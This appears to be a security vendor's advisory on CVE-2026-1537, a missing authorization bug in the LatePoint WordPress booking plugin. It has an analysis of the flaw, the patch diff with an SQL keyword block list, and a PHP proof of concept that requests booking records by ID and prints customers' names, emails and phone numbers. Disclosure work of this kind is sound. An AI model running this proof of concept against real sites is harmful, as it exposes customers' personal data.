Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1537: LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.6 – Missing Authorization to Booking Details Exposure (latepoint)

CVE ID CVE-2026-1537
Plugin latepoint
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 5.2.6
Patched Version 5.2.7
Disclosed February 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1537:
The LatePoint WordPress plugin, versions up to and including 5.2.6, contains a missing authorization vulnerability in its booking step loading function. This allows unauthenticated attackers to access sensitive booking details. The vulnerability has a CVSS score of 5.3, indicating medium severity.

Atomic Edge research identifies the root cause as a missing capability and ownership check in the `load_step()` function within `/latepoint/lib/helpers/steps_helper.php`. The function processes booking step requests without verifying the requesting user’s permissions or relationship to the booking data. Specifically, lines 467-474 in the vulnerable code accept a `booking[‘id’]` parameter from user input and directly load the corresponding booking object. No validation occurs to confirm the user is logged in or owns the booking.

Exploitation involves sending a crafted HTTP POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `latepoint_load_step`. The attacker must include a `booking[id]` parameter containing a valid booking identifier. The plugin’s `load_step()` function processes this request, retrieves the booking from the database, and returns the booking details in the response without authentication checks.

The patch adds an authorization check in the `load_step()` function at lines 470-485 in `/latepoint/lib/helpers/steps_helper.php`. When a `booking[‘id’]` parameter is present, the code now creates a booking object and verifies the current user’s customer ID matches the booking’s `customer_id`. If no user is logged in or the IDs don’t match, the function returns a ‘Not Allowed’ error via `wp_send_json()`. This ensures only booking owners can access their own booking details.

Successful exploitation exposes sensitive booking information including customer names, email addresses, phone numbers, appointment times, and service details. Attackers can enumerate booking IDs to harvest personal data from all bookings in the system. This constitutes a significant privacy violation under regulations like GDPR and could facilitate targeted phishing campaigns using the exposed contact information.

Differential between vulnerable and patched code

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.2.6
+ * Version: 5.2.7
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version = '5.2.6';
+		public $version = '5.2.7';
 		public $db_version = '2.3.0';


--- a/latepoint/lib/controllers/customers_controller.php
+++ b/latepoint/lib/controllers/customers_controller.php
@@ -149,7 +149,8 @@
 		public function create() {
 			$this->check_nonce( 'new_customer' );
 			$customer = new OsCustomerModel();
-			$customer->set_data( $this->params['customer'] );
+			// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
+			$customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC );
 			if ( $customer->save() ) {
 				// translators: %s is the html of a customer edit link
 				$response_html = sprintf( __( 'Customer Created ID: %s', 'latepoint' ), '<span class="os-notification-link" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '</span>' );
@@ -178,7 +179,8 @@
 					$status        = LATEPOINT_STATUS_ERROR;
 				} else {
 					$old_customer_data = $customer->get_data_vars();
-					$customer->set_data( $this->params['customer'] );
+					// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
+					$customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC );
 					if ( $customer->save() ) {
 						// translators: %s is the html of a customer edit link
 						$response_html = sprintf( __( 'Customer Updated ID: %s', 'latepoint' ), '<span class="os-notification-link" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '</span>' );
--- a/latepoint/lib/controllers/orders_controller.php
+++ b/latepoint/lib/controllers/orders_controller.php
@@ -130,7 +130,9 @@
 				$customer        = new OsCustomerModel();
 				$is_new_customer = true;
 			}
-			$customer->set_data( $customer_params );
+			// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
+			// Use 'public' role to restrict which fields can be set via user input.
+			$customer->set_data( $customer_params, LATEPOINT_PARAMS_SCOPE_PUBLIC );
 			if ( $customer->save() ) {
 				if ( $is_new_customer ) {
 					do_action( 'latepoint_customer_created', $customer );
--- a/latepoint/lib/helpers/settings_helper.php
+++ b/latepoint/lib/helpers/settings_helper.php
@@ -181,27 +181,82 @@
 			throw new Exception( __( 'Invalid JSON file format', 'latepoint' ) );
 		}

+		// Get whitelist of allowed LatePoint tables.
+		$allowed_tables = OsDatabaseHelper::get_all_latepoint_tables();
+
+		// Validate all tables before processing to ensure security.
+		foreach ( $data as $table => $table_data ) {
+			// Security check: Ensure table is in whitelist.
+			if ( ! in_array( $table, $allowed_tables, true ) ) {
+				throw new Exception( sprintf( __( 'Security: Table "%s" is not allowed for import', 'latepoint' ), esc_html( $table ) ) );
+			}
+
+			// Security check: Validate required fields exist.
+			if ( ! isset( $table_data['create'] ) || ! isset( $table_data['data'] ) ) {
+				throw new Exception( sprintf( __( 'Invalid data structure for table "%s"', 'latepoint' ), esc_html( $table ) ) );
+			}
+
+			// Security check: Validate CREATE statement only creates the expected table.
+			$create_statement = $table_data['create'];
+			if ( ! preg_match( '/^s*CREATEs+TABLEs+/i', $create_statement ) ) {
+				throw new Exception( sprintf( __( 'Security: Invalid CREATE statement for table "%s"', 'latepoint' ), esc_html( $table ) ) );
+			}
+
+			// Extract table name from CREATE statement and validate it matches.
+			if ( ! preg_match( '/CREATEs+TABLEs+(?:IFs+NOTs+EXISTSs+)?[`'"]?(' . preg_quote( $table, '/' ) . ')[`'"]?s+/i', $create_statement ) ) {
+				throw new Exception( sprintf( __( 'Security: CREATE statement table name mismatch for "%s"', 'latepoint' ), esc_html( $table ) ) );
+			}
+
+			// Security check: Ensure no dangerous SQL keywords in CREATE statement.
+			$dangerous_keywords = array( 'EXEC', 'EXECUTE', 'CALL', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE' );
+			foreach ( $dangerous_keywords as $keyword ) {
+				if ( stripos( $create_statement, $keyword ) !== false ) {
+					throw new Exception( sprintf( __( 'Security: Dangerous SQL keyword "%s" detected in CREATE statement', 'latepoint' ), esc_html( $keyword ) ) );
+				}
+			}
+		}
+
+		// Process each table after validation.
 		foreach ( $data as $table => $table_data ) {
 			// Drop table if exists
-			$wpdb->query( "DROP TABLE IF EXISTS {$table}" );
+			$wpdb->query( $wpdb->prepare( 'DROP TABLE IF EXISTS %i', $table ) );

 			// Create table
-			$wpdb->query( $table_data['create'] );
+			$result = $wpdb->query( $table_data['create'] );
+			if ( $result === false ) {
+				throw new Exception( sprintf( __( 'Error creating table "%s": %s', 'latepoint' ), esc_html( $table ), $wpdb->last_error ) );
+			}

 			// Insert data
-			foreach ( $table_data['data'] as $row ) {
-				$wpdb->insert( $table, $row );
+			if ( is_array( $table_data['data'] ) ) {
+				foreach ( $table_data['data'] as $row ) {
+					if ( is_array( $row ) ) {
+						$insert_result = $wpdb->insert( $table, $row );
+						if ( $insert_result === false ) {
+							// Log error but continue with other rows.
+							error_log( sprintf( 'LatePoint Import: Error inserting data into %s: %s', $table, $wpdb->last_error ) );
+						}
+					}
+				}
 			}

 			// Find auto-increment columns and their max values
-			$columns = $wpdb->get_results( "SHOW COLUMNS FROM {$table} WHERE Extra = 'auto_increment'" );
-			foreach ( $columns as $column ) {
-				// Get the maximum value for this column
-				$max_id = $wpdb->get_var( "SELECT MAX({$column->Field}) FROM {$table}" );
-
-				// Set the auto_increment value to max + 1
-				if ( $max_id ) {
-					$wpdb->query( "ALTER TABLE {$table} AUTO_INCREMENT = " . ( $max_id + 1 ) );
+			$columns = $wpdb->get_results( $wpdb->prepare( "SHOW COLUMNS FROM %i WHERE Extra = 'auto_increment'", $table ) );
+			if ( is_array( $columns ) ) {
+				foreach ( $columns as $column ) {
+					if ( isset( $column->Field ) ) {
+						// Sanitize column name to prevent SQL injection.
+						$column_name = preg_replace( '/[^a-zA-Z0-9_]/', '', $column->Field );
+
+						// Get the maximum value for this column.
+						$max_id = $wpdb->get_var( $wpdb->prepare( "SELECT MAX(%i) FROM %i", $column_name, $table ) );
+
+						// Set the auto_increment value to max + 1.
+						if ( $max_id ) {
+							$next_id = intval( $max_id ) + 1;
+							$wpdb->query( $wpdb->prepare( "ALTER TABLE %i AUTO_INCREMENT = %d", $table, $next_id ) );
+						}
+					}
 				}
 			}
 		}
--- a/latepoint/lib/helpers/steps_helper.php
+++ b/latepoint/lib/helpers/steps_helper.php
@@ -467,6 +467,24 @@
 	public static function load_step( $step_code, $format = 'json', $params = [] ) {
 		self::$params = $params;

+		// Security: If loading existing booking by ID, verify ownership.
+		if ( ! empty( $params['booking']['id'] ) ) {
+			$booking_to_check = new OsBookingModel( $params['booking']['id'] );
+			if ( ! $booking_to_check->is_new_record() ) {
+				$current_customer_id = OsAuthHelper::get_logged_in_customer_id();
+				if ( ! $current_customer_id || $booking_to_check->customer_id != $current_customer_id ) {
+					// Unauthorized access - return error.
+					wp_send_json(
+						array(
+							'status' => LATEPOINT_STATUS_ERROR,
+							'message' => __( 'Not Allowed', 'latepoint' ),
+						)
+					);
+					return;
+				}
+			}
+		}
+
 		$step_code = self::check_step_code_access( $step_code );
 		if ( self::get_customer_object_id() && OsSettingsHelper::get_settings_value( 'max_future_bookings_per_customer' ) ) {
 			$customer = self::get_customer_object();
@@ -1744,13 +1762,13 @@
             self::$vars_for_view['customer_verification_info'] = [];
         }

-        if(self::$params['auth']['action'] == 'register') {
+        if(isset(self::$params['auth']['action']) && self::$params['auth']['action'] == 'register') {
             // set customer objects from params of the submitted form
 	        self::$customer_object->set_data( self::customer_params() );
         }

         // logout - clear the customer
-        if(self::$params['auth']['action'] == 'logout'){
+        if(isset(self::$params['auth']['action']) && self::$params['auth']['action'] == 'logout'){
             self::$customer_object = new OsCustomerModel();
         }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1537 - LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.6 - Missing Authorization to Booking Details Exposure

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// Booking ID to enumerate - adjust based on target
$booking_id = 1;

// Prepare POST data for the vulnerable AJAX action
$post_data = array(
    'action' => 'latepoint_load_step',
    'booking' => array(
        'id' => $booking_id
    ),
    'step_code' => 'confirmation' // Any valid step code
);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Parse JSON response to extract booking details
    $response_data = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE && isset($response_data['booking'])) {
        echo "nExtracted Booking Details:n";
        echo "Booking ID: " . ($response_data['booking']['id'] ?? 'N/A') . "n";
        echo "Customer Name: " . ($response_data['booking']['customer']['first_name'] ?? 'N/A') . ' ' . ($response_data['booking']['customer']['last_name'] ?? '') . "n";
        echo "Customer Email: " . ($response_data['booking']['customer']['email'] ?? 'N/A') . "n";
        echo "Customer Phone: " . ($response_data['booking']['customer']['phone'] ?? 'N/A') . "n";
        echo "Appointment Time: " . ($response_data['booking']['start_time'] ?? 'N/A') . "n";
        echo "Service: " . ($response_data['booking']['service']['name'] ?? 'N/A') . "n";
    }
}

// Close cURL session
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School